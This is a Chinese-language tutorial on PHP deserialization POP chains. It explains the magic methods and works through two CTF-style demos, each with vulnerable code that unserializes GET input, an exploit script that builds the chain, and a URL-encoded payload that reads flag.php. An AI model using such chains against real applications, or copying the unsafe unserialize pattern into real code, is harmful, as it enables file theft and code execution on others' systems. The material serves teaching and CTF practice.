当前位置: 首页 > 工具软件 > Pop php > 使用案例 >

php反序列化之pop链

左丘边浩
2023-12-01

php反序列化之pop链

POP链介绍

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

知识回顾

挖掘暗藏ThinkPHP中的反序列利用链 一文中总结很好。

方法名调用条件
__call调用不可访问或不存在的方法时被调用
__callStatic调用不可访问或不存在的静态方法时被调用
__clone进行对象clone时被调用,用来调整对象的克隆行为
__constuct构建对象的时被调用;
__debuginfo当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct明确销毁对象或脚本结束时被调用;
__get读取不可访问或不存在属性时被调用
__invoke当以函数方式调用对象时被调用
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
__set当给不可访问或不存在属性赋值时被调用
__set_state当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString当一个类被转换成字符串时被调用
__unset对不可访问或不存在的属性进行unset时被调用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作
  • 反序列化的常见起点

    • __wakeup 一定会调用
    • __destruct 一定会调用
    • __toString 当一个对象被反序列化后又被当做字符串使用
  • 反序列化的常见中间跳板:

    • __toString 当一个对象被当做字符串使用
    • __get 读取不可访问或不存在属性时被调用
    • __set 当给不可访问或不存在属性赋值时被调用
    • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();
  • 反序列化的常见终点:

    • __call 调用不可访问或不存在的方法时被调用
    • call_user_func 一般php代码执行都会选择这里
    • call_user_func_array 一般php代码执行都会选择这里

主要还是三点:

  1. 起点
  2. 跳板
  3. 代码执行

个人感觉核心是实例化对象可附值给变量,从而调用 + 各类魔术方法

下面两个都是比较简单的demo,本人太菜只能先举简单的例子

demo1

<?php
//flag is in flag.php
error_reporting(0);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) 		 {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

接下来我们来分析构造pop链的过程

  1. 很明显此题考查PHP反序列化构造POP链,遇到此类题型首先寻找可以读取文件的函数,再去寻找可以互相触发从而调用的魔术方法,最终形成一条可以触发读取文件函数的POP链。
  2. 对于此题可以看到我们的目的是通过构造反序列化读取flag.php文件,在Read类有file_get_contents()函数,Show类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有unserialize函数存在,该函数的执行同时会触发wakeup魔术方法,而wakeup魔术方法可以看到在Show类中。
  3. 再次看下__wakeup魔术方法中,存在一个正则匹配函数preg_match(),该函数第二个参数应为字符串,这里把source当作字符串进行的匹配,这时若这个source是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在Show类中,那么我们一会构造exp时将source变成Show这个类的对象就会触发__tostring方法。
  4. 再看下__tostring魔术方法中,首先找到str这个数组,取出key值为str的value值赋给source,那么如果这个value值不存在的话就会触发__get魔术方法。再次通读全篇,看到Test类中存在__get魔术方法。
  5. 那么此时如果str数组中key值为str对应的value值source是Test类的一个对象,就触发了__get魔术方法。看下__get魔术方法,发现先取Test类中的属性p给function变量,再通过return $function()把它当作函数执行,这里属性p可控。这样就会触发__invoke魔术方法,而__invoke魔术方法存在于Read类中。
  6. 可以看到__invoke魔术方法中调用了该类中的file_get方法,形参是var属性值(这里我们可以控制),实参是value值,从而调用file_get_contents函数读取文件内容,所以只要将Read类中的var属性值赋值为flag.php即可

POP链:unserialize函数(变量可控)–>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–>触发Read类中的file_get方法–>触发file_get_contents函数读取flag.php

exp:

<?php
class Read {
    public $var = "flag.php";
}

class Show {
    public $source;
    public $str;
}

class Test {
    public $p;
}

$r = new Read();
$s = new Show();
$t = new Test();
$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str['str'] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发。__tostring魔术方法
echo urlencode((serialize($s)));

这里使用urlencode是为了编码 private 和protect属性,防止他们序列化出来有 %00 造成截断

最后得出来的payload:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3Ba%3A1%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D%7D

demo2

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = $_GET['string'];
unserialize($a);
?>

exp

<?php
class start_gg
{
    public $mod1;
    public $mod2;

    public function __construct()
    {
        $this->mod1 = new Call();
    }

    public function __destruct()
    {
        $this->mod1->test1(); # 入口点,mod1可通过附值起跳。
    }

}

class Call
{
    public $mod1; # 实例化funct
    public $mod2; # 无它什么事

    # 继续起跳,瞻前顾后,思考下面的 $this->mod1->test2();会在何处被什么利用
    public function __construct()
    {
        $this->mod1 = new funct();
    }

    public function test1()
    {
        $this->mod1->test2(); # 这里调 __call
    }
}

class funct
{
    public $mod1; # 实例化func
    public $mod2; # 无它什么事

    public function __construct()
    {
        $this->mod1 = new func();
    }

    public function __call($test2, $arr)
    {
        $s1 = $this->mod1;
        $s1(); # 这里触发 __invoke
    }
}

class func
{
    public $mod1; # 实例化string1
    public $mod2; # __invoke对其附值,其实是为了调 __toString

    public function __construct()
    {
        $this->mod1 = new string1();
    }

    public function __invoke()
    {
        $this->mod2 = "字符串拼接" . $this->mod1; # 这里若拼接则会触发 __toString
    }
}
class string1
{
    public $str1; # 实例化 GetFlag
    public $str2;

    public function __construct()
    {
        $this->str1 = new GetFlag();
    }

    public function __toString()
    {
        $this->str1->get_flag(); #调用此处即可getflag,难点:需调用 __toString
        return "1";
    }
}

class GetFlag
{
    public function get_flag()
    {
        echo "flag:" . "xxxxxxxxxxxx";
    }
}
$payload = new start_gg();
echo urlencode(serialize($payload));
?>
 类似资料: